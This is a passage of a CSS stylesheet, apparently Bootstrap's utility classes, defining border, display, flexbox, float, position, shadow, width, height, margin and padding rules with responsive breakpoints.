!important;\n}\n\n.border-left-0 {\n  border-left: 0 !important;\n}\n\n.border-primary {\n  border-color: #007bff !important;\n}\n\n.border-secondary {\n  border-color: #6c757d !important;\n}\n\n.border-success {\n  border-color: #28a745 !important;\n}\n\n.border-info {\n  border-color: #17a2b8 !important;\n}\n\n.border-warning {\n  border-color: #ffc107 !important;\n}\n\n.border-danger {\n  border-color: #dc3545 !important;\n}\n\n.border-light {\n  border-color: #f8f9fa !important;\n}\n\n.border-dark {\n  border-color: #343a40 !important;\n}\n\n.border-white {\n  border-color: #fff !important;\n}\n\n.rounded {\n  border-radius: 0.25rem !important;\n}\n\n.rounded-top {\n  border-top-left-radius: 0.25rem !important;\n  border-top-right-radius: 0.25rem !important;\n}\n\n.rounded-right {\n  border-top-right-radius: 0.25rem !important;\n  border-bottom-right-radius: 0.25rem !important;\n}\n\n.rounded-bottom {\n  border-bottom-right-radius: 0.25rem !important;\n  border-bottom-left-radius: 0.25rem !important;\n}\n\n.rounded-left {\n  border-top-left-radius: 0.25rem !important;\n  border-bottom-left-radius: 0.25rem !important;\n}\n\n.rounded-circle {\n  border-radius: 50% !important;\n}\n\n.rounded-0 {\n  border-radius: 0 !important;\n}\n\n.clearfix::after {\n  display: block;\n  clear: both;\n  content: \"\";\n}\n\n.d-none {\n  display: none !important;\n}\n\n.d-inline {\n  display: inline !important;\n}\n\n.d-inline-block {\n  display: inline-block !important;\n}\n\n.d-block {\n  display: block !important;\n}\n\n.d-table {\n  display: table !important;\n}\n\n.d-table-row {\n  display: table-row !important;\n}\n\n.d-table-cell {\n  display: table-cell !important;\n}\n\n.d-flex {\n  display: flex !important;\n}\n\n.d-inline-flex {\n  display: inline-flex !important;\n}\n\n@media (min-width: 576px) {\n  .d-sm-none {\n    display: none !important;\n  }\n  .d-sm-inline {\n    display: inline !important;\n  }\n  .d-sm-inline-block {\n    display: inline-block !important;\n  }\n  .d-sm-block {\n    display: block !important;\n  }\n  .d-sm-table {\n    display: table !important;\n  }\n  .d-sm-table-row {\n    display: table-row !important;\n  }\n  .d-sm-table-cell {\n    display: table-cell !important;\n  }\n  .d-sm-flex {\n    display: flex !important;\n  }\n  .d-sm-inline-flex {\n    display: inline-flex !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .d-md-none {\n    display: none !important;\n  }\n  .d-md-inline {\n    display: inline !important;\n  }\n  .d-md-inline-block {\n    display: inline-block !important;\n  }\n  .d-md-block {\n    display: block !important;\n  }\n  .d-md-table {\n    display: table !important;\n  }\n  .d-md-table-row {\n    display: table-row !important;\n  }\n  .d-md-table-cell {\n    display: table-cell !important;\n  }\n  .d-md-flex {\n    display: flex !important;\n  }\n  .d-md-inline-flex {\n    display: inline-flex !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .d-lg-none {\n    display: none !important;\n  }\n  .d-lg-inline {\n    display: inline !important;\n  }\n  .d-lg-inline-block {\n    display: inline-block !important;\n  }\n  .d-lg-block {\n    display: block !important;\n  }\n  .d-lg-table {\n    display: table !important;\n  }\n  .d-lg-table-row {\n    display: table-row !important;\n  }\n  .d-lg-table-cell {\n    display: table-cell !important;\n  }\n  .d-lg-flex {\n    display: flex !important;\n  }\n  .d-lg-inline-flex {\n    display: inline-flex !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .d-xl-none {\n    display: none !important;\n  }\n  .d-xl-inline {\n    display: inline !important;\n  }\n  .d-xl-inline-block {\n    display: inline-block !important;\n  }\n  .d-xl-block {\n    display: block !important;\n  }\n  .d-xl-table {\n    display: table !important;\n  }\n  .d-xl-table-row {\n    display: table-row !important;\n  }\n  .d-xl-table-cell {\n    display: table-cell !important;\n  }\n  .d-xl-flex {\n    display: flex !important;\n  }\n  .d-xl-inline-flex {\n    display: inline-flex !important;\n  }\n}\n\n@media print {\n  .d-print-none {\n    display: none !important;\n  }\n  .d-print-inline {\n    display: inline !important;\n  }\n  .d-print-inline-block {\n    display: inline-block !important;\n  }\n  .d-print-block {\n    display: block !important;\n  }\n  .d-print-table {\n    display: table !important;\n  }\n  .d-print-table-row {\n    display: table-row !important;\n  }\n  .d-print-table-cell {\n    display: table-cell !important;\n  }\n  .d-print-flex {\n    display: flex !important;\n  }\n  .d-print-inline-flex {\n    display: inline-flex !important;\n  }\n}\n\n.embed-responsive {\n  position: relative;\n  display: block;\n  width: 100%;\n  padding: 0;\n  overflow: hidden;\n}\n\n.embed-responsive::before {\n  display: block;\n  content: \"\";\n}\n\n.embed-responsive .embed-responsive-item,\n.embed-responsive iframe,\n.embed-responsive embed,\n.embed-responsive object,\n.embed-responsive video {\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  left: 0;\n  width: 100%;\n  height: 100%;\n  border: 0;\n}\n\n.embed-responsive-21by9::before {\n  padding-top: 42.857143%;\n}\n\n.embed-responsive-16by9::before {\n  padding-top: 56.25%;\n}\n\n.embed-responsive-4by3::before {\n  padding-top: 75%;\n}\n\n.embed-responsive-1by1::before {\n  padding-top: 100%;\n}\n\n.flex-row {\n  flex-direction: row !important;\n}\n\n.flex-column {\n  flex-direction: column !important;\n}\n\n.flex-row-reverse {\n  flex-direction: row-reverse !important;\n}\n\n.flex-column-reverse {\n  flex-direction: column-reverse !important;\n}\n\n.flex-wrap {\n  flex-wrap: wrap !important;\n}\n\n.flex-nowrap {\n  flex-wrap: nowrap !important;\n}\n\n.flex-wrap-reverse {\n  flex-wrap: wrap-reverse !important;\n}\n\n.flex-fill {\n  flex: 1 1 auto !important;\n}\n\n.flex-grow-0 {\n  flex-grow: 0 !important;\n}\n\n.flex-grow-1 {\n  flex-grow: 1 !important;\n}\n\n.flex-shrink-0 {\n  flex-shrink: 0 !important;\n}\n\n.flex-shrink-1 {\n  flex-shrink: 1 !important;\n}\n\n.justify-content-start {\n  justify-content: flex-start !important;\n}\n\n.justify-content-end {\n  justify-content: flex-end !important;\n}\n\n.justify-content-center {\n  justify-content: center !important;\n}\n\n.justify-content-between {\n  justify-content: space-between !important;\n}\n\n.justify-content-around {\n  justify-content: space-around !important;\n}\n\n.align-items-start {\n  align-items: flex-start !important;\n}\n\n.align-items-end {\n  align-items: flex-end !important;\n}\n\n.align-items-center {\n  align-items: center !important;\n}\n\n.align-items-baseline {\n  align-items: baseline !important;\n}\n\n.align-items-stretch {\n  align-items: stretch !important;\n}\n\n.align-content-start {\n  align-content: flex-start !important;\n}\n\n.align-content-end {\n  align-content: flex-end !important;\n}\n\n.align-content-center {\n  align-content: center !important;\n}\n\n.align-content-between {\n  align-content: space-between !important;\n}\n\n.align-content-around {\n  align-content: space-around !important;\n}\n\n.align-content-stretch {\n  align-content: stretch !important;\n}\n\n.align-self-auto {\n  align-self: auto !important;\n}\n\n.align-self-start {\n  align-self: flex-start !important;\n}\n\n.align-self-end {\n  align-self: flex-end !important;\n}\n\n.align-self-center {\n  align-self: center !important;\n}\n\n.align-self-baseline {\n  align-self: baseline !important;\n}\n\n.align-self-stretch {\n  align-self: stretch !important;\n}\n\n@media (min-width: 576px) {\n  .flex-sm-row {\n    flex-direction: row !important;\n  }\n  .flex-sm-column {\n    flex-direction: column !important;\n  }\n  .flex-sm-row-reverse {\n    flex-direction: row-reverse !important;\n  }\n  .flex-sm-column-reverse {\n    flex-direction: column-reverse !important;\n  }\n  .flex-sm-wrap {\n    flex-wrap: wrap !important;\n  }\n  .flex-sm-nowrap {\n    flex-wrap: nowrap !important;\n  }\n  .flex-sm-wrap-reverse {\n    flex-wrap: wrap-reverse !important;\n  }\n  .flex-sm-fill {\n    flex: 1 1 auto !important;\n  }\n  .flex-sm-grow-0 {\n    flex-grow: 0 !important;\n  }\n  .flex-sm-grow-1 {\n    flex-grow: 1 !important;\n  }\n  .flex-sm-shrink-0 {\n    flex-shrink: 0 !important;\n  }\n  .flex-sm-shrink-1 {\n    flex-shrink: 1 !important;\n  }\n  .justify-content-sm-start {\n    justify-content: flex-start !important;\n  }\n  .justify-content-sm-end {\n    justify-content: flex-end !important;\n  }\n  .justify-content-sm-center {\n    justify-content: center !important;\n  }\n  .justify-content-sm-between {\n    justify-content: space-between !important;\n  }\n  .justify-content-sm-around {\n    justify-content: space-around !important;\n  }\n  .align-items-sm-start {\n    align-items: flex-start !important;\n  }\n  .align-items-sm-end {\n    align-items: flex-end !important;\n  }\n  .align-items-sm-center {\n    align-items: center !important;\n  }\n  .align-items-sm-baseline {\n    align-items: baseline !important;\n  }\n  .align-items-sm-stretch {\n    align-items: stretch !important;\n  }\n  .align-content-sm-start {\n    align-content: flex-start !important;\n  }\n  .align-content-sm-end {\n    align-content: flex-end !important;\n  }\n  .align-content-sm-center {\n    align-content: center !important;\n  }\n  .align-content-sm-between {\n    align-content: space-between !important;\n  }\n  .align-content-sm-around {\n    align-content: space-around !important;\n  }\n  .align-content-sm-stretch {\n    align-content: stretch !important;\n  }\n  .align-self-sm-auto {\n    align-self: auto !important;\n  }\n  .align-self-sm-start {\n    align-self: flex-start !important;\n  }\n  .align-self-sm-end {\n    align-self: flex-end !important;\n  }\n  .align-self-sm-center {\n    align-self: center !important;\n  }\n  .align-self-sm-baseline {\n    align-self: baseline !important;\n  }\n  .align-self-sm-stretch {\n    align-self: stretch !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .flex-md-row {\n    flex-direction: row !important;\n  }\n  .flex-md-column {\n    flex-direction: column !important;\n  }\n  .flex-md-row-reverse {\n    flex-direction: row-reverse !important;\n  }\n  .flex-md-column-reverse {\n    flex-direction: column-reverse !important;\n  }\n  .flex-md-wrap {\n    flex-wrap: wrap !important;\n  }\n  .flex-md-nowrap {\n    flex-wrap: nowrap !important;\n  }\n  .flex-md-wrap-reverse {\n    flex-wrap: wrap-reverse !important;\n  }\n  .flex-md-fill {\n    flex: 1 1 auto !important;\n  }\n  .flex-md-grow-0 {\n    flex-grow: 0 !important;\n  }\n  .flex-md-grow-1 {\n    flex-grow: 1 !important;\n  }\n  .flex-md-shrink-0 {\n    flex-shrink: 0 !important;\n  }\n  .flex-md-shrink-1 {\n    flex-shrink: 1 !important;\n  }\n  .justify-content-md-start {\n    justify-content: flex-start !important;\n  }\n  .justify-content-md-end {\n    justify-content: flex-end !important;\n  }\n  .justify-content-md-center {\n    justify-content: center !important;\n  }\n  .justify-content-md-between {\n    justify-content: space-between !important;\n  }\n  .justify-content-md-around {\n    justify-content: space-around !important;\n  }\n  .align-items-md-start {\n    align-items: flex-start !important;\n  }\n  .align-items-md-end {\n    align-items: flex-end !important;\n  }\n  .align-items-md-center {\n    align-items: center !important;\n  }\n  .align-items-md-baseline {\n    align-items: baseline !important;\n  }\n  .align-items-md-stretch {\n    align-items: stretch !important;\n  }\n  .align-content-md-start {\n    align-content: flex-start !important;\n  }\n  .align-content-md-end {\n    align-content: flex-end !important;\n  }\n  .align-content-md-center {\n    align-content: center !important;\n  }\n  .align-content-md-between {\n    align-content: space-between !important;\n  }\n  .align-content-md-around {\n    align-content: space-around !important;\n  }\n  .align-content-md-stretch {\n    align-content: stretch !important;\n  }\n  .align-self-md-auto {\n    align-self: auto !important;\n  }\n  .align-self-md-start {\n    align-self: flex-start !important;\n  }\n  .align-self-md-end {\n    align-self: flex-end !important;\n  }\n  .align-self-md-center {\n    align-self: center !important;\n  }\n  .align-self-md-baseline {\n    align-self: baseline !important;\n  }\n  .align-self-md-stretch {\n    align-self: stretch !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .flex-lg-row {\n    flex-direction: row !important;\n  }\n  .flex-lg-column {\n    flex-direction: column !important;\n  }\n  .flex-lg-row-reverse {\n    flex-direction: row-reverse !important;\n  }\n  .flex-lg-column-reverse {\n    flex-direction: column-reverse !important;\n  }\n  .flex-lg-wrap {\n    flex-wrap: wrap !important;\n  }\n  .flex-lg-nowrap {\n    flex-wrap: nowrap !important;\n  }\n  .flex-lg-wrap-reverse {\n    flex-wrap: wrap-reverse !important;\n  }\n  .flex-lg-fill {\n    flex: 1 1 auto !important;\n  }\n  .flex-lg-grow-0 {\n    flex-grow: 0 !important;\n  }\n  .flex-lg-grow-1 {\n    flex-grow: 1 !important;\n  }\n  .flex-lg-shrink-0 {\n    flex-shrink: 0 !important;\n  }\n  .flex-lg-shrink-1 {\n    flex-shrink: 1 !important;\n  }\n  .justify-content-lg-start {\n    justify-content: flex-start !important;\n  }\n  .justify-content-lg-end {\n    justify-content: flex-end !important;\n  }\n  .justify-content-lg-center {\n    justify-content: center !important;\n  }\n  .justify-content-lg-between {\n    justify-content: space-between !important;\n  }\n  .justify-content-lg-around {\n    justify-content: space-around !important;\n  }\n  .align-items-lg-start {\n    align-items: flex-start !important;\n  }\n  .align-items-lg-end {\n    align-items: flex-end !important;\n  }\n  .align-items-lg-center {\n    align-items: center !important;\n  }\n  .align-items-lg-baseline {\n    align-items: baseline !important;\n  }\n  .align-items-lg-stretch {\n    align-items: stretch !important;\n  }\n  .align-content-lg-start {\n    align-content: flex-start !important;\n  }\n  .align-content-lg-end {\n    align-content: flex-end !important;\n  }\n  .align-content-lg-center {\n    align-content: center !important;\n  }\n  .align-content-lg-between {\n    align-content: space-between !important;\n  }\n  .align-content-lg-around {\n    align-content: space-around !important;\n  }\n  .align-content-lg-stretch {\n    align-content: stretch !important;\n  }\n  .align-self-lg-auto {\n    align-self: auto !important;\n  }\n  .align-self-lg-start {\n    align-self: flex-start !important;\n  }\n  .align-self-lg-end {\n    align-self: flex-end !important;\n  }\n  .align-self-lg-center {\n    align-self: center !important;\n  }\n  .align-self-lg-baseline {\n    align-self: baseline !important;\n  }\n  .align-self-lg-stretch {\n    align-self: stretch !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .flex-xl-row {\n    flex-direction: row !important;\n  }\n  .flex-xl-column {\n    flex-direction: column !important;\n  }\n  .flex-xl-row-reverse {\n    flex-direction: row-reverse !important;\n  }\n  .flex-xl-column-reverse {\n    flex-direction: column-reverse !important;\n  }\n  .flex-xl-wrap {\n    flex-wrap: wrap !important;\n  }\n  .flex-xl-nowrap {\n    flex-wrap: nowrap !important;\n  }\n  .flex-xl-wrap-reverse {\n    flex-wrap: wrap-reverse !important;\n  }\n  .flex-xl-fill {\n    flex: 1 1 auto !important;\n  }\n  .flex-xl-grow-0 {\n    flex-grow: 0 !important;\n  }\n  .flex-xl-grow-1 {\n    flex-grow: 1 !important;\n  }\n  .flex-xl-shrink-0 {\n    flex-shrink: 0 !important;\n  }\n  .flex-xl-shrink-1 {\n    flex-shrink: 1 !important;\n  }\n  .justify-content-xl-start {\n    justify-content: flex-start !important;\n  }\n  .justify-content-xl-end {\n    justify-content: flex-end !important;\n  }\n  .justify-content-xl-center {\n    justify-content: center !important;\n  }\n  .justify-content-xl-between {\n    justify-content: space-between !important;\n  }\n  .justify-content-xl-around {\n    justify-content: space-around !important;\n  }\n  .align-items-xl-start {\n    align-items: flex-start !important;\n  }\n  .align-items-xl-end {\n    align-items: flex-end !important;\n  }\n  .align-items-xl-center {\n    align-items: center !important;\n  }\n  .align-items-xl-baseline {\n    align-items: baseline !important;\n  }\n  .align-items-xl-stretch {\n    align-items: stretch !important;\n  }\n  .align-content-xl-start {\n    align-content: flex-start !important;\n  }\n  .align-content-xl-end {\n    align-content: flex-end !important;\n  }\n  .align-content-xl-center {\n    align-content: center !important;\n  }\n  .align-content-xl-between {\n    align-content: space-between !important;\n  }\n  .align-content-xl-around {\n    align-content: space-around !important;\n  }\n  .align-content-xl-stretch {\n    align-content: stretch !important;\n  }\n  .align-self-xl-auto {\n    align-self: auto !important;\n  }\n  .align-self-xl-start {\n    align-self: flex-start !important;\n  }\n  .align-self-xl-end {\n    align-self: flex-end !important;\n  }\n  .align-self-xl-center {\n    align-self: center !important;\n  }\n  .align-self-xl-baseline {\n    align-self: baseline !important;\n  }\n  .align-self-xl-stretch {\n    align-self: stretch !important;\n  }\n}\n\n.float-left {\n  float: left !important;\n}\n\n.float-right {\n  float: right !important;\n}\n\n.float-none {\n  float: none !important;\n}\n\n@media (min-width: 576px) {\n  .float-sm-left {\n    float: left !important;\n  }\n  .float-sm-right {\n    float: right !important;\n  }\n  .float-sm-none {\n    float: none !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .float-md-left {\n    float: left !important;\n  }\n  .float-md-right {\n    float: right !important;\n  }\n  .float-md-none {\n    float: none !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .float-lg-left {\n    float: left !important;\n  }\n  .float-lg-right {\n    float: right !important;\n  }\n  .float-lg-none {\n    float: none !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .float-xl-left {\n    float: left !important;\n  }\n  .float-xl-right {\n    float: right !important;\n  }\n  .float-xl-none {\n    float: none !important;\n  }\n}\n\n.position-static {\n  position: static !important;\n}\n\n.position-relative {\n  position: relative !important;\n}\n\n.position-absolute {\n  position: absolute !important;\n}\n\n.position-fixed {\n  position: fixed !important;\n}\n\n.position-sticky {\n  position: sticky !important;\n}\n\n.fixed-top {\n  position: fixed;\n  top: 0;\n  right: 0;\n  left: 0;\n  z-index: 1030;\n}\n\n.fixed-bottom {\n  position: fixed;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1030;\n}\n\n@supports (position: sticky) {\n  .sticky-top {\n    position: sticky;\n    top: 0;\n    z-index: 1020;\n  }\n}\n\n.sr-only {\n  position: absolute;\n  width: 1px;\n  height: 1px;\n  padding: 0;\n  overflow: hidden;\n  clip: rect(0, 0, 0, 0);\n  white-space: nowrap;\n  border: 0;\n}\n\n.sr-only-focusable:active, .sr-only-focusable:focus {\n  position: static;\n  width: auto;\n  height: auto;\n  overflow: visible;\n  clip: auto;\n  white-space: normal;\n}\n\n.shadow-sm {\n  box-shadow: 0 0.125rem 0.25rem rgba(0, 0, 0, 0.075) !important;\n}\n\n.shadow {\n  box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.15) !important;\n}\n\n.shadow-lg {\n  box-shadow: 0 1rem 3rem rgba(0, 0, 0, 0.175) !important;\n}\n\n.shadow-none {\n  box-shadow: none !important;\n}\n\n.w-25 {\n  width: 25% !important;\n}\n\n.w-50 {\n  width: 50% !important;\n}\n\n.w-75 {\n  width: 75% !important;\n}\n\n.w-100 {\n  width: 100% !important;\n}\n\n.w-auto {\n  width: auto !important;\n}\n\n.h-25 {\n  height: 25% !important;\n}\n\n.h-50 {\n  height: 50% !important;\n}\n\n.h-75 {\n  height: 75% !important;\n}\n\n.h-100 {\n  height: 100% !important;\n}\n\n.h-auto {\n  height: auto !important;\n}\n\n.mw-100 {\n  max-width: 100% !important;\n}\n\n.mh-100 {\n  max-height: 100% !important;\n}\n\n.m-0 {\n  margin: 0 !important;\n}\n\n.mt-0,\n.my-0 {\n  margin-top: 0 !important;\n}\n\n.mr-0,\n.mx-0 {\n  margin-right: 0 !important;\n}\n\n.mb-0,\n.my-0 {\n  margin-bottom: 0 !important;\n}\n\n.ml-0,\n.mx-0 {\n  margin-left: 0 !important;\n}\n\n.m-1 {\n  margin: 0.25rem !important;\n}\n\n.mt-1,\n.my-1 {\n  margin-top: 0.25rem !important;\n}\n\n.mr-1,\n.mx-1 {\n  margin-right: 0.25rem !important;\n}\n\n.mb-1,\n.my-1 {\n  margin-bottom: 0.25rem !important;\n}\n\n.ml-1,\n.mx-1 {\n  margin-left: 0.25rem !important;\n}\n\n.m-2 {\n  margin: 0.5rem !important;\n}\n\n.mt-2,\n.my-2 {\n  margin-top: 0.5rem !important;\n}\n\n.mr-2,\n.mx-2 {\n  margin-right: 0.5rem !important;\n}\n\n.mb-2,\n.my-2 {\n  margin-bottom: 0.5rem !important;\n}\n\n.ml-2,\n.mx-2 {\n  margin-left: 0.5rem !important;\n}\n\n.m-3 {\n  margin: 1rem !important;\n}\n\n.mt-3,\n.my-3 {\n  margin-top: 1rem !important;\n}\n\n.mr-3,\n.mx-3 {\n  margin-right: 1rem !important;\n}\n\n.mb-3,\n.my-3 {\n  margin-bottom: 1rem !important;\n}\n\n.ml-3,\n.mx-3 {\n  margin-left: 1rem !important;\n}\n\n.m-4 {\n  margin: 1.5rem !important;\n}\n\n.mt-4,\n.my-4 {\n  margin-top: 1.5rem !important;\n}\n\n.mr-4,\n.mx-4 {\n  margin-right: 1.5rem !important;\n}\n\n.mb-4,\n.my-4 {\n  margin-bottom: 1.5rem !important;\n}\n\n.ml-4,\n.mx-4 {\n  margin-left: 1.5rem !important;\n}\n\n.m-5 {\n  margin: 3rem !important;\n}\n\n.mt-5,\n.my-5 {\n  margin-top: 3rem !important;\n}\n\n.mr-5,\n.mx-5 {\n  margin-right: 3rem !important;\n}\n\n.mb-5,\n.my-5 {\n  margin-bottom: 3rem !important;\n}\n\n.ml-5,\n.mx-5 {\n  margin-left: 3rem !important;\n}\n\n.p-0 {\n  padding: 0 !important;\n}\n\n.pt-0,\n.py-0 {\n  padding-top: 0 !important;\n}\n\n.pr-0,\n.px-0 {\n  padding-right: 0 !important;\n}\n\n.pb-0,\n.py-0 {\n  padding-bottom: 0 !important;\n}\n\n.pl-0,\n.px-0 {\n  padding-left: 0 !important;\n}\n\n.p-1 {\n  padding: 0.25rem !important;\n}\n\n.pt-1,\n.py-1 {\n  padding-top: 0.25rem !important;\n}\n\n.pr-1,\n.px-1 {\n  padding-right: 0.25rem !important;\n}\n\n.pb-1,\n.py-1 {\n  padding-bottom: 0.25rem !important;\n}\n\n.pl-1,\n.px-1 {\n  padding-left: 0.25rem !important;\n}\n\n.p-2 {\n  padding: 0.5rem !important;\n}\n\n.pt-2,\n.py-2 {\n  padding-top: 0.5rem !important;\n}\n\n.pr-2,\n.px-2 {\n  padding-right: 0.5rem !important;\n}\n\n.pb-2,\n.py-2 {\n  padding-bottom: 0.5rem !important;\n}\n\n.pl-2,\n.px-2 {\n  padding-left: 0.5rem !important;\n}\n\n.p-3 {\n  padding: 1rem !important;\n}\n\n.pt-3,\n.py-3 {\n  padding-top: 1rem !important;\n}\n\n.pr-3,\n.px-3 {\n  padding-right: 1rem !important;\n}\n\n.pb-3,\n.py-3 {\n  padding-bottom: 1rem !important;\n}\n\n.pl-3,\n.px-3 {\n  padding-left: 1rem !important;\n}\n\n.p-4 {\n  padding: 1.5rem !important;\n}\n\n.pt-4,\n.py-4 {\n  padding-top: 1.5rem !important;\n}\n\n.pr-4,\n.px-4 {\n  padding-right: 1.5rem !important;\n}\n\n.pb-4,\n.py-4 {\n  padding-bottom: 1.5rem !important;\n}\n\n.pl-4,\n.px-4 {\n  padding-left: 1.5rem !important;\n}\n\n.p-5 {\n  padding: 3rem !important;\n}\n\n.pt-5,\n.py-5 {\n  padding-top: 3rem !important;\n}\n\n.pr-5,\n.px-5 {\n  padding-right: 3rem !important;\n}\n\n.pb-5,\n.py-5 {\n  padding-bottom: 3rem !important;\n}\n\n.pl-5,\n.px-5 {\n  padding-left: 3rem !important;\n}\n\n.m-auto {\n  margin: auto !important;\n}\n\n.mt-auto,\n.my-auto {\n  margin-top: auto !important;\n}\n\n.mr-auto,\n.mx-auto {\n  margin-right: auto !important;\n}\n\n.mb-auto,\n.my-auto {\n  margin-bottom: auto !important;\n}\n\n.ml-auto,\n.mx-auto {\n  margin-left: auto !important;\n}\n\n@media (min-width: 576px) {\n  .m-sm-0 {\n    margin: 0 !important;\n  }\n  .mt-sm-0,\n  .my-sm-0 {\n    margin-top: 0 !important;\n  }\n  .mr-sm-0,\n  .mx-sm-0 {\n    margin-right: 0 !important;\n  }\n  .mb-sm-0,\n  .my-sm-0 {\n    margin-bottom: 0 !important;\n  }\n  .ml-sm-0,\n  .mx-sm-0 {\n    margin-left: 0 !important;\n  }\n  .m-sm-1 {\n    margin: 0.25rem !important;\n  }\n  .mt-sm-1,\n  .my-sm-1 {\n    margin-top: 0.25rem !important;\n  }\n  .mr-sm-1,\n  .mx-sm-1 {\n    margin-right: 0.25rem !important;\n  }\n  .mb-sm-1,\n  .my-sm-1 {\n    margin-bottom: 0.25rem !important;\n  }\n  .ml-sm-1,\n  .mx-sm-1 {\n    margin-left: 0.25rem !important;\n  }\n  .m-sm-2 {\n    margin: 0.5rem !important;\n  }\n  .mt-sm-2,\n  .my-sm-2 {\n    margin-top: 0.5rem !important;\n  }\n  .mr-sm-2,\n  .mx-sm-2 {\n    margin-right: 0.5rem !important;\n  }\n  .mb-sm-2,\n  .my-sm-2 {\n    margin-bottom: 0.5rem !important;\n  }\n  .ml-sm-2,\n  .mx-sm-2 {\n    margin-left: 0.5rem !important;\n  }\n  .m-sm-3 {\n    margin: 1rem !important;\n  }\n  .mt-sm-3,\n  .my-sm-3 {\n    margin-top: 1rem !important;\n  }\n  .mr-sm-3,\n  .mx-sm-3 {\n    margin-right: 1rem !important;\n  }\n  .mb-sm-3,\n  .my-sm-3 {\n    margin-bottom: 1rem !important;\n  }\n  .ml-sm-3,\n  .mx-sm-3 {\n    margin-left: 1rem !important;\n  }\n  .m-sm-4 {\n    margin: 1.5rem !important;\n  }\n  .mt-sm-4,\n  .my-sm-4 {\n    margin-top: 1.5rem !important;\n  }\n  .mr-sm-4,\n  .mx-sm-4 {\n    margin-right: 1.5rem !important;\n  }\n  .mb-sm-4,\n  .my-sm-4 {\n    margin-bottom: 1.5rem !important;\n  }\n  .ml-sm-4,\n  .mx-sm-4 {\n    margin-left: 1.5rem !important;\n  }\n  .m-sm-5 {\n    margin: 3rem !important;\n  }\n  .mt-sm-5,\n  .my-sm-5 {\n    margin-top: 3rem !important;\n  }\n  .mr-sm-5,\n  .mx-sm-5 {\n    margin-right: 3rem !important;\n  }\n  .mb-sm-5,\n  .my-sm-5 {\n    margin-bottom: 3rem !important;\n  }\n  .ml-sm-5,\n  .mx-sm-5 {\n    margin-left: 3rem !important;\n  }\n  .p-sm-0 {\n    padding: 0 !important;\n  }\n  .pt-sm-0,\n  .py-sm-0 {\n    padding-top: 0 !important;\n  }\n  .pr-sm-0,\n  .px-sm-0 {\n    padding-right: 0 !important;\n  }\n  .pb-sm-0,\n  .py-sm-0 {\n    padding-bottom: 0 !important;\n  }\n  .pl-sm-0,\n  .px-sm-0 {\n    padding-left: 0 !important;\n  }\n  .p-sm-1 {\n    padding: 0.25rem !important;\n  }\n  .pt-sm-1,\n  .py-sm-1 {\n    padding-top: 0.25rem !important;\n  }\n  .pr-sm-1,\n  .px-sm-1 {\n    padding-right: 0.25rem !important;\n  }\n  .pb-sm-1,\n  .py-sm-1 {\n    padding-bottom: 0.25rem !important;\n  }\n  .pl-sm-1,\n  .px-sm-1 {\n    padding-left: 0.25rem !important;\n  }\n  .p-sm-2 {\n    padding: 0.5rem !important;\n  }\n  .pt-sm-2,\n  .py-sm-2 {\n    padding-top: 0.5rem !important;\n  }\n  .pr-sm-2,\n  .px-sm-2 {\n    padding-right: 0.5rem !important;\n  }\n  .pb-sm-2,\n  .py-sm-2 {\n    padding-bottom: 0.5rem !important;\n  }\n  .pl-sm-2,\n  .px-sm-2 {\n    padding-left: 0.5rem !important;\n  }\n  .p-sm-3 {\n    padding: 1rem !important;\n  }\n  .pt-sm-3,\n  .py-sm-3 {\n    padding-top: 1rem !important;\n  }\n  .pr-sm-3,\n  .px-sm-3 {\n    padding-right: 1rem !important;\n  }\n  .pb-sm-3,\n  .py-sm-3 {\n    padding-bottom: 1rem !important;\n  }\n  .pl-sm-3,\n  .px-sm-3 {\n    padding-left: 1rem !important;\n  }\n  .p-sm-4 {\n    padding: 1.5rem !important;\n  }\n  .pt-sm-4,\n  .py-sm-4 {\n    padding-top: 1.5rem !important;\n  }\n  .pr-sm-4,\n  .px-sm-4 {\n    padding-right: 1.5rem !important;\n  }\n  .pb-sm-4,\n  .py-sm-4 {\n    padding-bottom: 1.5rem !important;\n  }\n  .pl-sm-4,\n  .px-sm-4 {\n    padding-left: 1.5rem !important;\n  }\n  .p-sm-5 {\n    padding: 3rem !important;\n  }\n  .pt-sm-5,\n  .py-sm-5 {\n    padding-top: 3rem !important;\n  }\n  .pr-sm-5,\n  .px-sm-5 {\n    padding-right: 3rem !important;\n  }\n  .pb-sm-5,\n  .py-sm-5 {\n    padding-bottom: 3rem !important;\n  }\n  .pl-sm-5,\n  .px-sm-5 {\n    padding-left: 3rem !important;\n  }\n  .m-sm-auto {\n    margin: auto !important;\n  }\n  .mt-sm-auto,\n  .my-sm-auto {\n    margin-top: auto !important;\n  }\n  .mr-sm-auto,\n  .mx-sm-auto {\n    margin-right: auto !important;\n  }\n  .mb-sm-auto,\n  .my-sm-auto {\n    margin-bottom: auto !important;\n  }\n  .ml-sm-auto,\n  .mx-sm-auto {\n    margin-left: auto !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .m-md-0 {\n    margin: 0 !important;\n  }\n  .mt-md-0,\n  .my-md-0 {\n    margin-top: 0 !important;\n  }\n  .mr-md-0,\n  .mx-md-0 {\n    margin-right: 0 !important;\n  }\n  .mb-md-0,\n  .my-md-0 {\n    margin-bottom: 0 !important;\n  }\n  .ml-md-0,\n  .mx-md-0 {\n    margin-left: 0 !important;\n  }\n  .m-md-1 {\n    margin: 0.25rem !important;\n  }\n  .mt-md-1,\n  .my-md-1 {\n    margin-top: 0.25rem !important;\n  }\n  .mr-md-1,\n  .mx-md-1 {\n    margin-right: 0.25rem !important;\n  }\n  .mb-md-1,\n  .my-md-1 {\n    margin-bottom: 0.25rem !important;\n  }\n  .ml-md-1,\n  .mx-md-1 {\n    margin-left: 0.25rem !important;\n  }\n  .m-md-2 {\n    margin: 0.5rem !important;\n  }\n  .mt-md-2,\n  .my-md-2 {\n    margin-top: 0.5rem !important;\n  }\n  .mr-md-2,\n  .mx-md-2 {\n    margin-right: 0.5rem !important;\n  }\n  .mb-md-2,\n  .my-md-2 {\n    margin-bottom: 0.5rem !important;\n  }\n  .ml-md-2,\n  .mx-md-2 {\n    margin-left: 0.5rem !important;\n  }\n  .m-md-3 {\n    margin: 